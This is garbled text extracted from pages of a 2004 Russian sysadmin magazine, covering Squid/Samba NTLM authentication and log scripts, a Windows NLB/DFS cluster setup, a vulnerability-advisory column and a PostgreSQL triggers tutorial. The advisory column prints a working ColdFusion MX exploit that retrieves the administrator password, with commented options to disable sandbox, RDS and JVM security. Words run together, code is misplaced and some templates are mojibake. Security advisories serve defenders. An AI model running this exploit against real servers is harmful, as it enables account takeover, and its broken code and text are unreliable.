! Если хелперы запускаются, следует обратить вниманиена моменты их запуска – если ntlm_auth, например, неможет установить связь с контроллером домена, он со-общит об этом.

! Если используются хелперы на базе winbindd, следуетпроверить работоспособность winbindd-демона (коман-ды приводились выше).

! Если задействован хелпер ntlm_auth из поставки Samba –его можно запустить в режиме отладки с консоли, при-казав выводить максимально подробную отладочную ин-формацию. В случае успешного запуска следует ввес-ти через пробел имя и пароль пользователя, как пока-зано ниже. Для выполнения данной команды достаточ-но прав пользователя, имеющего доступ к каталогу /var/db/samba/winbindd_privileged.

В ответ на запрос программы вводим имя пользовате-ля testuser, пароль 123456.

Всегда используйте для тестирования только подобных«пользователей», потому что пароль виден на консоли,а также может остаться в файлах .history, .bash_historyили .mc/history!

! Проверить права доступа на каталог /var/db/samba/winbindd_privileged, если используется хелпер ntlm_auth изпоставки Samba. При недостаточных правах хелпер мо-жет выдавать в файл регистрационного журнала cache.logсообщения, из которых совершенно невозможно понять,чего ему не хватает для нормальной работы.

! При большом количестве запросов следует пропорцио-нально увеличить количество загружаемых хелперов(параметр auth_param <method> children). При недоста-точном количестве хелперов запросы на аутентифика-цию ставятся в очередь и при переполнении очередипрокси может аварийно завершить работу. Также сле-дует обеспечить постоянную доступность контроллерадомена, потому что при плохой связи с контроллеромдомена запросы на аутентификацию опять же ставятсяв очередь, и прокси может аварийно завершить работупри большом количестве хелперов, ожидающих ответаот контроллера домена.

Дополнительные замечания

О безопасности передаваемых данныхЭксперименты показали, что при использовании всех хел-перов, кроме ntlm_auth из комплекта Samba 3.х и wb_ntlmauth из комплекта squid, пароль, передаваемый на про-верку контроллеру домена, передается в открытом виде, илицо, имеющее возможность перехвата сетевого трафикас данного компьютера, сможет узнать пароли. Программыntlm_auth из комплекта Samba 3.х и wb_ntlmauth из комп-лекта squid используют для работы с контроллером доме-на протокол NTLM SSP, и пароль не передается по сети воткрытом виде даже при указании --helper-protocol=squid-2.5-basic (этот параметр определяет не протокол работыхелпера с контроллером домена, а протокол работы хелпе-ра со сквидом).

О преобразовании логиновиз формата MYDOMAIN\myusernameХелпер wb_ntlmauth записывает в лог полученный от пользо-вателя логин в виде MYDOMAIN\myusername, в то времякак хелпер wb_auth записывает его в формате myusername.

[2004/08/29 23:16:21, 10] utils/ntlm_auth.c:manage_squid_request(1621)

Got 'testuser 123456' from squid (length: 15).

[2004/08/29 23:16:21, 3] utils/ntlm_auth.c:check_plaintext_auth(292)

NT_STATUS_OK: Success (0x0)

OK

winbind separator = +

> ntlm_auth --helper-protocol=squid-2.5-basic

--require-membership-of=”MY_DOMAIN+My Proxy” -d10 -l /tmp

[2004/08/29 23:15:22, 5] lib/debug.c:debug_dump_status(367)

INFO: Current debug levels:

all: True/10

tdb: False/0

printdrivers: False/0

lanman: False/0

smb: False/0

rpc_parse: False/0

rpc_srv: False/0

rpc_cli: False/0

passdb: False/0

sam: False/0

auth: False/0

winbind: False/0

vfs: False/0

idmap: False/0

quota: False/0

acls: False/0

Page 37: 023 Системный Администратор 10 2004

35№10(23), октябрь 2004

администрирование

Для того чтобы использовать полученные данные в какой-либо программе расчета статистики, необходимо унифи-цировать данные. Я делаю это удалением домена и приве-дением всех логинов к формату myusername. Для этогомной была разработана пара скриптов на языках shell и awk,которые делают следующее:! Удаляют из лога строки TCP_DENIED/407, которые ге-

нерируются браузером Internet Explorer.! Удаляют доменную часть имени пользователя, если оно

представлено в формате MYDOMAIN\myusername.! Если DNS-имя компьютера или его IP-адрес совпадает

с DNS-именем или IP-адресом, указанным в файле до-веренных адресов, то в поле имени пользователя впи-сывается имя, указанное в данном файле. (Если исполь-зуется как авторизация по регистрационному имени, таки авторизация по IP-адресу, то для обработки статисти-ки некоторым IP-адресам жестко сопоставляется опре-деленное имя.) Формат файла доверенных адресовочень прост: по одной записи на строке DNS-имя илиIP-адрес компьютера и через пробел – имя пользовате-ля, которое будет подставляться. Например:

Ниже приведен основной скрипт. Вариант, демонстри-руемый в данной статье, тестовый, практической ценностине имеет и приведен только для иллюстрации того, как об-рабатывать данные файла регистрационного журнала.

Далее приведен скрипт чтения файла регистрационно-го журнала, реализованный на языке awk. Это рабочийскрипт, который я использую для расчета статистики заг-рузки канала.

192.168.1.1 alice192.168.1.2 bob

#!/bin/sh# This is a part of SquidCount package version 1.11.4# Daily squid proxy statistic maintenance# Written by CityCat 25.10.2001. Copyright Granch Ltd. (C)# This is a public software, distributed with a BSD license.# $Id: squidcount,v 1.11.4.6 2004/07/21 12:53:02 shelton Exp $PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local ↵↵↵↵↵

/bin:/usr/local/sbintrustlist="/usr/local/etc/sarg2/sargtrusted"inlog="/var/log/squid/access.log"# Check on presence trusted hosts listif [ -e $trustlist ]; then

hosts=`awk '{if ($1 == "#") nextline; else print $1}' ↵↵↵↵↵< $trustlist`

tusers=`awk '{if ($1 == "#") nextline; else print $2}' ↵↵↵↵↵< $trustlist`

elselogger -i -p daemon.err -t sqcount ↵↵↵↵↵Trust list empty, will skip prepare 1st stage...

hosts=""tusers=""

fi# When trusted host list is presented, replace according# by them...if [ ${#hosts} -ne 0 ]; then

awk -f /usr/local/sbin/awksquid -v hosts="$hosts" ↵↵↵↵↵-v tusers="$tusers" < $inlog > /tmp/tmpaccess.log

elsecp $inlog /tmp/tmpaccess.log

fi

ЗаключениеВ данной статье были рассмотрены несколько способовавторизации пользователя домена Windows на прокси-сер-вере squid с использованием контроллера домена Windows.Выбор конкретного способа зависит только от используе-мой версии Samba и не зависит от типа контроллера доме-на Windows (схема с авторизацией через Samba 2.х и хел-перы Squid работала достаточно долгое время в доменеWindows NT, потом совершенно незаметно была перенесе-на в домен Windows 2000). Samba 3.x мне кажется наибо-лее перспективным решением с наиболее простым вари-антом конфигурации.

# This is a part of SquidCount package version 1.11.4# Squid log preparation to count statistic# Developed by Rashid N. Achilov. Copyright Granch Ltd. (C)# Thisi is a public software, distributed with BSD license.# Externals: hosts = <list of hosts with trusted users># tusers = <list of trusted user logins, correspoding hosts)## When $8 is "-" and $2 == one of trusted hosts, instead# of "-" sets trusted login, correspond this host# When $4 is "TCP_DENIED/407" skip this line (and f*ck MS IE!)# $Id: awksquid,v 1.11.4.2 2003/08/06 03:28:54 shelton Exp $BEGIN {split(hosts,harray)split(tusers,tuarray)}{if ($4 == "TCP_DENIED/407")nextsubind = index($8,"\\")if (subind != 0){subname = substr($8,subind + 1)printf("%s %6s %s %s %s %s %s %s %s %s\n", ↵↵↵↵↵

$1,$2,$3,$4,$5,$6,$7,subname,$9,$10)next

}for (i = 1;harray[i] != "";i++){if ($3 == harray[i]){if ($8 == "-"){printf("%s %6s %s %s %s %s %s %s %s %s\n", ↵↵↵↵↵

$1,$2,$3,$4,$5,$6,$7,tuarray[i],$9,$10)break

}}

}if (harray[i] == "")print $0

}

Уважаемые читатели!

Теперь вы можете приобретать новые и старыеномера журнала через интернет-магазин

Стоимость 1 экземпляра – 140 рублей

Доставка почтой БЕСПЛАТНО в любую точку России#!/usr/bin/awk -f

Page 38: 023 Системный Администратор 10 2004

36

администрирование

Месяца 3-4 назад к нам на фирму за консультацией при-шли сотрудники одной из крупных государственных орга-низаций. Для тестовой лаборатории им необходимо былособрать недорогой кластер под вывод информации дляпользователей через Internet Information Server (IIS). Посленекоторых раздумий и консультаций с умными людьми мнойбыло найдено довольно оригинальное решение, о нем я ибуду сегодня рассказывать.

О том, какие бывают кластеры, технологии, реализациикластеров в этой статье, я писать не буду. В Интернете до-статочно информации на эти темы. Здесь я опишу конкрет-ную реализацию конкретной задачи. Надеюсь, она будетвам интересна.

ЗадачаДля одного из учебных классов государственного пред-приятия потребовалось создать кластер для работы с про-ектно-исследовательской информацией. Важным момен-том в данной реализации было то, что внешние клиентымогли работать с данной документацией через самый про-стой IIS. В качестве узлов кластера были закуплены 4 ма-шины достаточно простой конфигурации, P4-2.4 ГГц/512 Мб/

80 Гб SATA/2xLAN Adapter. После некоторых раздумий былорешено использовать службу Network Load Balancing дляраспределения нагрузки между узлами кластера, а синх-ронизацию данных между серверами настроить с помощьюслужбы Distributed File System. В качестве операционнойсистемы достаточно выбрать Windows 2003 Server StandardEdition, поскольку она поддерживает обе необходимые намслужбы.

Схема кластера представлена на рис. 1.

1-й этап. Подготовка серверов,установка домена, создание DNS-зонНа первом этапе мы устанавливаем на все сервера, опера-ционную систему, настраиваем сетевое окружение на сер-верах, поднимаем Active Directory. В принципе можно обой-тись и без него, однако мне показалось, что единая авто-ризация на серверах удобнее, чем ведение учетных запи-сей на каждом из них.! Имеем 4 одинаковые машины с двумя сетевыми карта-

ми в каждой.! Ставим на все машины Windows 2003 Server (версия

2003-го сервера не имеет значения).

ГЕННАДИЙ ДМИТРИЕВ

Ðèñóíîê 1

ЧЕТЫРЕХУЗЛОВОЙ КЛАСТЕРС БАЛАНСИРОВКОЙ НАГРУЗКИБЕЗ ВНЕШНЕГО МАССИВА ДАННЫХ

Page 39: 023 Системный Администратор 10 2004

37№10(23), октябрь 2004

администрирование

! Настраиваем системы, исходя из таблицы:

! Для удобства переименуем название сетевых соедине-ний, как Private и Public Cluster Connection, соответствен-но для кластерного и общего соединений.

! На первом сервере NODE1 поднимаем Active Directory«cluster.local». Все ставим по умолчанию.

! Проверяем DNS-записи серверов на основном контрол-лере домена.

! Удаляем зону «.». Поднимаем forward (обратную) зонуActive Directory Integrated.

! Включаем остальные машины в домен в качестве StandAlone Server.

2-й этап. Поднятие NLB-кластераНа этом этапе мы настраиваем службу NLB (Network LoadBalancing). Вообще, честно говоря, эта служба имеет оченьотдаленное отношение к понятию кластеров. Но уж так сло-жилось, что Microsoft назвала эту службу службой класте-ра. Как говорится, Microsoft by Design.

Все операции по созданию такого кластера проводятсяна первом сервере с помощью оснастки «Network LoadBalancing Manager».! Переходим на первый сервер. Запускаем NLB Manager.! Правой кнопкой на «Network Load Balancing Clusters» →→→→→

Create New Cluster.! В первом окне заполняем поля с адресом, маской под-

сети и названием кластера:

! На вкладке Cluster IP Address (рис. 3) можно ввести до-полнительные адреса кластера. Мы пропускаем этотэтап.

! На вкладке Port Rules можно указать, на какие порты IPбудет отзываться кластер. Здесь можно либо ограни-чить отклик только на определенные порты вроде пор-та сервера IIS, либо оставить по умолчанию и настро-ить позже:

! На вкладке Connect выбираем первый сервер NODE1и выбираем внешний интерфейс «Public ClusterConnection», на котором будет «висеть» служба NLB.

Ðèñóíîê 2

Ðèñóíîê 3

Ðèñóíîê 4

Ðèñóíîê 5

Page 40: 023 Системный Администратор 10 2004

38

администрирование

! Все настройки первого узла в кластере можно свести втаблицу:

! По окончании синхронизации данных получаем карти-ну:

! После создания кластера из одного узла и генерациисамого кластера подключаем остальные 3 узла.

! Правой кнопкой в NLB Manager на созданном класте-ре →→→→→ «Add new host for cluster».

! В окошке «Connect» выбираем по очереди NODE2,NODE3, NODE4 и для каждого из узлов выбираем «PublicCluster Connection».

! После всех процедур и генерации кластера в оснасткеNLB Manager добавятся остальные узлы. В этой же ос-настке мы сможем изменять параметры кластера, па-раметры узлов, как показано на рис. 7, 8.

3-й этап. Настройка IIS,настройка репликации данныхТретий этап по сути заключительный. На нем мы корректи-руем настройки IIS на всех четырех серверах и поднимаемрепликацию содержимого IIS с первого узла в кластере наостальные. Все операции выполняются на первом серверес помощью оснастки «Distributed File System Manager».! Проверяем, чтобы на всех узлах был установлен IIS в

одинаковой конфигурации. Состав пакетов значения неимеет, просто лучше, если на всех узлах будет одна кон-фигурация.

! На первом узле создаем директорию «C:\IIS».! Запускаем DFS Manager (Distributed File System Mana-

ger).! На вкладке «Root Type» выбираем тип «Domain Root»:

! На вкладке «Host Domain»выбираем наш кластер«cluster.local»:

Ðèñóíîê 6

Ðèñóíîê 7

Ðèñóíîê 8

Ðèñóíîê 9

Ðèñóíîê 10

Page 41: 023 Системный Администратор 10 2004

39№10(23), октябрь 2004

администрирование

! На вкладке «Host Server» выбираем первый серверnode1.cluster.local:

! На вкладке «Root Name» вводим имя корневого катало-га:

! На вкладке «Root Share» выбираем созданный намикаталог «C:\IIS»:

! Все настройки корневого каталога можно свести в таб-лицу:

! После создания корневой директории определяем об-щий доступ для каталога с содержимым IIS-сервера«C:\Inetpub\wwwroot».

! В DFS Manager выбираем «New Link», вводим имя ссыл-ки. В поле «Path to Target» выбираем директорию с со-держимым IIS-сервера, предоставленную в общий дос-туп, как показано на рисунке:

! Остальные операции по созданию конечных ссылок мож-но будет проводить в оснастке «Distributed File SystemManager»:

! Далее необходимо создать ссылки на остальные сер-вера кластера. Для этого на каждом из узлов предос-тавляем в общий доступ каталоги с содержимым IIS-сервера.

! Выбираем «New Target» и по очереди добавляем остав-шиеся три узла:

Ðèñóíîê 11

Ðèñóíîê 12

Ðèñóíîê 13

Ðèñóíîê 14

Ðèñóíîê 15

Ðèñóíîê 16

Page 42: 023 Системный Администратор 10 2004

40

администрирование

! После создания ссылки на второй узел нам будет пред-ложено настроить репликацию между узлами кластера.Соглашаемся, выбираем первый узел (рис. 17). В каче-стве топологии репликации определяем ручной режим,как показано на рис. 18.

! Топологию время репликации мы можем изменить в лю-бое время из оснастки «DFS Manager». Для репликацииданных с первого узла на оставшиеся выбираем руч-ной режим, как показано на рис. 19, 20.

Ðèñóíîê 17

Ðèñóíîê 18

! После создания всех ссылок необходимо определенноевремя для предварительной синхронизации данных уз-лов. Обычно это занимает около 20-30 минут. Далеерепликация данных будет проходить мгновенно, ну илипочти мгновенно (по внутренней сети кластера). Резуль-таты наших настроек наблюдаем в DFS Manager:

! Хочется также упомянуть, что репликация данных меж-ду серверами проходит от имени «System Account», по-этому при создании общего доступа к каталогам содер-жимого IIS-серверов достаточно прав на чтение. Покрайней мере, у меня данный режим работал без осо-бых проблем.

4-й этап. Последние штрихиПоследним штрихом у нас будет создание DNS-записи соссылкой на внешний адрес кластера. Заходим в DNSManager и создаем запись CNAME →→→→→ www.cluster.local →→→→→cluster.cluster.local. Делаем это для того, чтобы при заходена ссылку www.cluster.local мы автоматически попадали навнешний адрес кластера. В результате NLB будет разрули-вать ситуацию с нагрузкой на узлы кластера, а DFS помо-жет автоматически реплицировать данные с первого узлана остальные. Вот вроде и все.

ЗаключениеДанный документ не является панацеей по созданию клас-теров, он лишь отражает мой опыт в создании нестандарт-ных систем. На некоторых рисунках вы видите только дваузла. Однако настройки остальных серверов идентичны ине представляют особой сложности.

Хочется выразить глубокую благодарность за неоцени-мую интеллектуальную помощь Андрееву Павлу, систем-ному администратору Novavox.Ðèñóíîê 19

Ðèñóíîê 20

Ðèñóíîê 21

Page 43: 023 Системный Администратор 10 2004

Удаленный отказ в обслуживаниив RealNetworks Helix Universal ServerПрограмма: RealNetworks Helix Universal Server 9.0.4.958 иболее ранние версии.Опасность: средняя.Описание: Удаленный пользователь может послать специ-ально сформированный HTTP POST-запрос с Content-Length-заголовком, установленным к «-1», чтобы заставитьцелевой сервер использовать чрезмерное количество па-мяти и ресурсов CPU. Для восстановления нормальной ра-боты требуется перезагрузка сервера.URL производителя: ht tp://service.real.com/help/faq/security/security100704.html.Решение: Установите обновленную версию сервера(9.0.4.960).

Раскрытие пароля администраторав ColdFusion MXПрограмма: ColdFusion MX 6.1.Опасность: средняя.Описание: Уязвимость обнаружена в ColdFusion MX. Уда-ленный авторизованный пользователь, способный созда-вать ColdFusion-шаблоны, которые содержат тэги CreateObject и cfobject, может создать шаблон, чтобы получитьдоступ к паролю администратора. Пример:

URL производителя: http://www.macromedia.com.Решение: Способов устранения обнаруженной уязвимос-ти не существует в настоящее время.

<cfscript>objFileWriter = CreateObject("java","java.io.FileWriter");objByteArray = CreateObject("java", ↵↵↵↵↵

"java.io.ByteArrayOutputStream");objJavaC = CreateObject("java","sun.tools.javac.Main");objString = CreateObject("java","java.lang.String");objFile = CreateObject("java","java.io.File");if (Server.Os.Name IS "Windows") { s = "\"; } else { s = "/"; }strJavaSource = "#Server.ColdFusion.Rootdir##s ↵↵↵↵↵

#lib#s#SecurityExploit.java";strCfusionJar = "#Server.ColdFusion.Rootdir##s ↵↵↵↵↵

#lib#s#cfusion.jar";strNeoSecFile = "#Server.ColdFusion.Rootdir##s ↵↵↵↵↵

#lib#s#neo-security.xml";strPasswdFile = "#Server.ColdFusion.Rootdir##s#lib#s ↵↵↵↵↵

#password.properties";fileWriter = objFileWriter.init("#strJavaSource#",false);fileWriter.write("import coldfusion.security. ↵↵↵↵↵

SecurityManager;");fileWriter.write("import java.io.File;");fileWriter.write("public class SecurityExploit ↵↵↵↵↵

extends SecurityManager {");fileWriter.write("public SecurityExploit(File arg0, ↵↵↵↵↵

File arg1) {");fileWriter.write("super(arg0, arg1); }");fileWriter.write("public boolean isAdminSecurityEnabled(){");fileWriter.write("return false;}}");fileWriter.flush();fileWriter.close();str = objString.init("-classpath,#strCfusionJar#, ↵↵↵↵↵

#strJavaSource#");strArr = str.split(",");byteArray = objByteArray.init();compileObj =objJavaC.init(byteArray,str);compileObj.compile(strArr);obj = CreateObject("java","SecurityExploit");file1 = objFile.init("#strNeoSecFile#");file2 = objFile.init("#strPasswdFile#");obj.init(file1,file2);obj.load();</cfscript><cfscript>// Get Administrator PasswordstrAdminPw = obj.getAdminPassword();// Set Administrator Password//obj.setAdminPassword("test123");// Turn off Sandbox Security//obj.setSandboxSecurityEnabled(false);// Turn off Administrator Login//obj.setAdminSecurityEnabled(false);// Turn off RDS Login//obj.setRdsSecurityEnabled(false);// Set RDS Password//obj.setRdsPassword("test123");// Turn off JVM Security//obj.setJvmSecurityEnabled(false);</cfscript>

Многочисленные переполнениябуфера в IBM DB2Программа: DB2 8.1 Fixpak 7 и более ранние версии.Опасность: высокая.Описание: Обнаружено несколько переполнений буферав IBM DB2 Universal Database. Удаленный атакующий мо-жет выполнить произвольный код на уязвимой системе.URL производителя: http://www.ibm.com.Решение: Установите Fixpaсk 6a и 7a с сайта произво-дителя: http://www.ibm.com/software/data/db2/udb/support/downloadv8.htm.

Составил Александр Антипов

Удаленное выполнение произвольногокода в Microsoft Windows NT/2000/2003Опасность: критическая.Описание: Уязвимость обнаружена в Microsoft Windows NT/2000/2003. Удаленный пользователь может представитьспециально обработанное, чрезмерно длинное сообщение,чтобы вызвать переполнение буфера в NNTP (Network NewsTransfer Protocol) компоненте. Успешная эксплуатация по-зволяет выполнить произвольный код на целевой системе,в которой используется NNTP.URL производителя: http://www.Microsoft.com.Решение: Установите соответствующее обновление.

Удаленный доступ к произвольнымфайлам в SambaПрограмма: Samba 2.2 – 2.2.11, 3.0 – 3.0.5.Опасность: средняя.Описание: Удаленный пользователь может получить дос-туп к файлам, расположенным вне общедоступного пути.

Уязвимость в проверке правильности входных данныхобнаружена в обработке MS-DOS-имен путей. Удаленныйпользователь может эксплуатировать этот недостаток, что-бы получить доступ к файлам на целевой системе, кото-рые расположены вне общедоступного пути, определенно-го в smb.conf. Файлы могут быть просмотрены с привиле-гиями целевой учетной записи.URL производителя: http://www.samba.org.Решение: Установите обновленную версию SAMBA (2.2.12):http://samba.org/samba/ftp/samba-2.2.12.tar.gz.

bugtraq

41№10(23), октябрь 2004

Page 44: 023 Системный Администратор 10 2004

42

администрирование

5. Все «нештатные» ситуации (невозможность зарезерви-ровать требуемое количество, аннулирование неопла-ченного заказа) должны отражаться в таблице предуп-реждений.

Операции выставления счетов, получения оплаты и т. д.для простоты возложим на менеджеров компании. Методыих взаимодействия с базой данных рассматривать в дан-ной статье не будем. Также не будем резервировать товарчастично, если необходимого количества не оказалось –пусть этим тоже занимаются менеджеры. Для наглядностиалгоритм того, как должно вести себя наше приложение,представлен на рис. 1.

Итак, попытаемся решить сформулированные выше за-дачи без помощи «внешнего» сценария, по одному-един-ственному запросу к СУБД.

Структура БД для нашей задачи будет следующая:! Таблица «Заказы», orders:

! Идентификатор заказа, order_id, serial.! Информация о покупателе, customer, varchar.! Идентификатор товара, goods_id, numeric(3).! Количество единиц товара, count, numeric(2).! Цена товара, по которой делается заказ, price,

numeric(7,2).! Дата заказа, date, date.

! Таблица «Товары», goods:! Идентификатор товара, goods_id, serial.! Описание товара, goods, varchar.! Минимальный остаток на складе, rest, numeric(2).

! Таблица «Склад», warehouse:! Идентификатор товара, goods_id, numeric(3).! Количество, count, numeric(5).

! Таблица «Резерв», reserved:

Система управления базами данных PostgreSQL обладаеточень мощными средствами, делающими возможным пе-ренос части так называемой бизнес-логики приложения состороны клиента (по отношению к СУБД) на сторону серве-ра. При этом сокращается, и порой существенно, трафикмежду клиентом и сервером, упрощается сопровождениеразработанного приложения (сервер один, а клиентов мо-жет быть много), повышается надежность в плане целост-ности данных, в ряде случаев становится проще и сам ал-горитм работы приложения.

Данная статья посвящена рассмотрению одного из наи-более эффективных средств – триггеров. Все примеры те-стировались на PostgreSQL 7.4.2, работающей на системеFreeBSD 5.2.

Для примера разработаем функцию оформления зака-за в простом интернет-магазине, отличительной особенно-стью которой будет максимально возможный перенос всейлогики на сторону СУБД.

Итак, пользователь выбрал интересующий его товар инажал ссылку «Купить». Далее необходимо:1. Занести в БД информацию о поступлении заказа.2. Проверить, есть ли необходимое количество товара на

складе.3. Если есть – зарезервировать товар, уменьшив при этом

остаток на складе. Если необходимого количества наскладе нет, то проверить, не находится ли в резерве нуж-ный товар свыше 5 дней. Если такое имеется и количе-ство товара по просроченным заказам достаточно дляисполнения текущего, то просроченные заказы нужно ан-нулировать, а товар резервировать для нового заказа.

4. При свободном остатке того или иного товара на скла-де меньше определенного значения сформировать за-пись в таблице предупреждений.

PostgreSQL: ФУНКЦИИ И ТРИГГЕРЫ

СЕРГЕЙ СУПРУНОВ

Page 45: 023 Системный Администратор 10 2004

43№10(23), октябрь 2004

администрирование

! Идентификатор заказа, order_id, numeric(5).! Идентификатор товара, goods_id, numeric(3).! Зарезервированное количество, count, numeric(2).! Дата резервирования, date, date.

! Таблица «Предупреждения», warnings:! Дата и время записи, date_time, timestamp.! Содержание записи, messages, text.! Дочерняя таблица order_warnings.! Идентификатор заказа, order_id, numeric(5).! Дочерняя таблица goods_warnings.! Идентификатор товара, goods_id, numeric(3).

Поскольку предупреждения могут быть связаны как сзаказом, так и с товаром, то для повышения наглядностивоспользуемся такой возможностью PostgreSQL, как насле-дование таблиц. Родительская таблица warnings будет со-держать все предупреждения, а дочерние order_warnings иgoods_warnings – дополнять ее идентификаторами соответ-ствующего заказа или товара.

Для решения указанных задач, как нетрудно догадать-ся, будем использовать триггеры. Напомню, что триггер –это связь хранимой процедуры с одной (или несколькими)из операций модификации, выполняемых над таблицей(UPDATE, INSERT, DELETE), автоматически запускающаяэту процедуру (функцию) при получении соответствующе-го запроса. Нам понадобятся «базовый» триггер, выполня-емый после операции добавления записи (INSERT) в таб-лицу orders – для решения задач 1-3, и триггер на опера-цию UPDATE таблицы warehouse для контроля обязатель-ных остатков (задача 4). Функцию записи предупрежденийкаждый из этих триггеров будет выполнять в соответствиисо своей «зоной ответственности».

Итак, создадим базу данных eshop, в которой и будемэкспериментировать. В ней создаем структуру нашей БД:

Далее, нам нужно убедиться, что процедурный язык PL/pgSQL доступен в созданной базе. Для этого выполнитеследующую команду:

Если plpgsql в полученном результате отсутствует, тоиз командной оболочки вашей ОС выполните следующуюкоманду:

Опция –U задает пользователя – администратора БД,от имени которого будет выполняться данная операция.

Поддержка языка может быть включена и из програм-мы-клиента (например, psql) выполнением следующих двухкоманд:

Ðèñóíîê 1

create table orders(order_id serial,customer varchar,goods_id numeric(5),date date,count numeric(3),price numeric(7,2));

create table goods(goods_id serial,goods varchar,rest numeric(2));

create table warehouse(goods_id numeric(5),count numeric(5));

create table reserved(goods_id numeric(5),order_id numeric(5),count numeric(3),date date);

create table warnings(date date, message text);create table order_warnings(order_id numeric(5))

inherits(warnings);create table goods_warnings(goods_id numeric(5))

inherits(warnings);

select * from pg_language;

$ createlang �U pgsql plpgsql eshop

create function plpgsql_call_handler()returns language_handleras �$libdir/plpgsql�, �plpgsql_call_handler�

Page 46: 023 Системный Администратор 10 2004

44

администрирование

Первая из них создает функцию-обработчик на базебиблиотечной функции, вторая – собственно язык PL/pgSQLна основе созданного выше обработчика.

Если вы считаете, что процедурный язык будет нуженвам во всех (или большинстве) базах данных, то таким жеобразом его можно добавить в БД template1. В результатеэтого поддержка PL/pgSQL будет автоматически добав-ляться во все создаваемые впоследствии базы (при со-здании новой базы по умолчанию в нее переносятся всеобъекты из БД template1, хотя шаблон может быть задани явно, указанием параметра TEMPLATE в команде CREATEDATABASE).

Сначала немного теории. Триггер связывает функцию соперацией модификации таблицы. Следовательно, чтобыбыло что связывать, мы должны создать триггерную функ-цию. Синтаксис функции на языке PL/pgSQL следующий:

Есть и другие опции. С ними можно ознакомиться в до-кументации, а сейчас они нам не интересны. Необязатель-ная фраза «or replace» позволяет перезапись функции припопытке создать другую с таким же именем (например, за-писать исправленный вариант). Без этого ключевого словабудет сгенерирована ошибка и потребуется сначала уда-лить существующую функцию и лишь затем записать на ееместо новую.

Скобки после имени функции обязательны, даже еслифункция не имеет аргументов. Слово «returns» задает типвозвращаемых функцией данных. Указание языка такжеобязательно. В нашем случае это «plpgsql».

Тело функции имеет следующую структуру:

Последним оператором функции должен быть оператор«return», возвращающий данные указанного выше типа,даже если выход из функции осуществляется раньше (на-пример, в блоке проверки условия) и эта команда никогдане получит управление.

Как и любой нормальный язык программирования, PL/pgSQL позволяет оперировать переменными. Все перемен-ные (за одним исключением, о котором будет упомянутониже) должны быть описаны в разделе DELCARE, т.е. ихнеобходимо перечислить с указанием типа данных. В этомже разделе допускается и инициализация переменной на-чальным значением с помощью ключевого слова DEFAULT.Общий синтаксис описания следующий:

Вместо слова «DEFAULT» допускается использованиеоператора присваивания «:=», но, на мой взгляд, такая за-

пись выглядит несколько коряво. Точка с запятой в концекаждого описания обязательна. Переменная может бытьлюбого типа, который поддерживается в PostgreSQL. Крометого, существуют три специальных типа данных: RECORD,table%RECTYPE и table.field%TYPE. Первый описывает за-пись любой таблицы, второй – запись указанной таблицыtable, третий создает переменную такого же типа, как и типуказанного поля field таблицы table. Примеры использова-ния этих типов данных будут приведены ниже.

В основной секции, заключенной в операторные скобкиBEGIN-END, могут использоваться операторы присваива-ния, математические операторы, ветвления, циклы, вызо-вы других функций. Кроме того, тело функции может со-держать вложенные блоки, имеющие ту же структуру (т.е.DECLARE-BEGIN-END). Видимость переменных распрост-раняется на блок, в котором она описана, и на все вложен-ные блоки. Ниже конспективно перечислены основные опе-раторы языка PL/pgSQL, которые понадобятся нам в даль-нейшем:! Оператор присваивания :=. Такой же, как в языке Pascal.

Сопоставляет переменную с некоторым значением илирезультатом выражения.

! Оператор ветвления IF-ELSE-END IF. Знакомая всем сдетства конструкция, позволяющая выполнить провер-ку некоторого условия и в зависимости от результатапроверки перейти на выполнение того или иного блокакоманд. Синтаксис:

! Оператор цикла FOR. Наиболее распространенныйцикл. Переменная цикла <var> – то самое исключение,когда переменная может не описываться в секцииDECLARE. В этом случае зона ее видимости ограничи-вается циклом. Синтаксис:

Существует вариант этого цикла и для «прохода» по ре-зультату выборки:

В этом случае в переменную <row-var> последователь-но подставляются строки из выборки, и тип этой пере-менной должен быть либо <table>%rowtype, отражаю-щий запись конкретной таблицы <table>, либо RECORD,описывающий обобщенную запись таблицы.

С остальными операторами, а также со встроеннымифункциями можно познакомиться в документации к языкуPL/pgSQL.

В качестве примера создадим обычную (не триггерную)функцию, которая занесет в таблицу test1 (позже мы ееудалим) N случайных чисел. Сейчас польза от этого исклю-

create [or replace] function <èìÿ ôóíêöèè>(<àðãóìåíòû>)returns <òèï âîçâðàòà> as �<òåëî ôóíêöèè>�language �plpgsql�;

DECLAREíåîáÿçàòåëüíûé ðàçäåë îïðåäåëåíèé

BEGINÎïåðàòîðû ôóíêöèè

END;

<ïåðåìåííàÿ> <òèï> [ DEFAULT <çíà÷åíèå>];

If <óñëîâèå> then<îïåðàòîðû;�>

[else<îïåðàòîðû;�>]

end if;

For <var> in <start>..<stop> loop<òåëî öèêëà>

End loop;

For <row-var> in <select> loop<òåëî öèêëà>

End loop;

language �c�;create trusted procedural language �plpgsql�

handler plpgsql_call_handler;

Page 47: 023 Системный Администратор 10 2004

45№10(23), октябрь 2004

администрирование

чительно в виде примера, а в принципе таким образом мож-но, например, заполнять базу для выполнения тестов.

Этот несложный пример демонстрирует большое коли-чество особенностей работы функций. Пройдемся по нимпо порядку.

Конструкция «alias for $N» в секции описаний позволя-ет связать описываемую переменную с другой, описаннойранее. В данном случае мы устанавливаем связь со стан-дартными переменными-параметрами. Так, $1 соответству-ет первому параметру, $2 – второму и т. д. Для удобстваработы передаваемый в функцию параметр мы связываемс переменной N.

При описании переменной Rand показано, как инициа-лизировать переменную значением на стадии описания,хотя в данном случае это и не нужно.

Конструкция «select <список полей> into <список пе-ременных> …» позволяет сохранять результат выборки впеременных для дальнейшего использования. Количествопеременных должно соответствовать количеству выбира-емых полей. В данном случае мы проверяем, есть ли внашей БД нужная нам таблица test1. Если она существу-ет, то в служебной таблице pg_tables для нее будет за-пись. В противном случае переменная tmp получит псев-дозначение NULL.

Также обратите внимание на необходимость экраниро-вания всех кавычек, встречающихся в теле функции, по-скольку оно уже заключено в кавычки как параметр коман-ды create function (в дальнейшем, приводя листинги функ-ций, я для простоты чтения символы экранирования будуопускать).

Далее проверяем, содержит ли переменная tmp какое-нибудь значение, и если нет – генерируем исключение (ко-манда «raise exception»), по которому наша функция ава-рийно завершится.

Если же таблица test1 существует, то очищаем ее отстарых значений (если таковые имеются) и приступаем кзаполнению ее случайными числами, для генерации кото-рых используется внутренняя функция random(), возвраща-ющая случайное число в диапазоне 0..1.

Выполнить функцию можно с помощью такого запроса:

Запустите ее и убедитесь, что выполнение функции за-вершилось ошибкой «Table test1 not found.». Далее созда-ем нужную таблицу и повторяем выполнение функции:

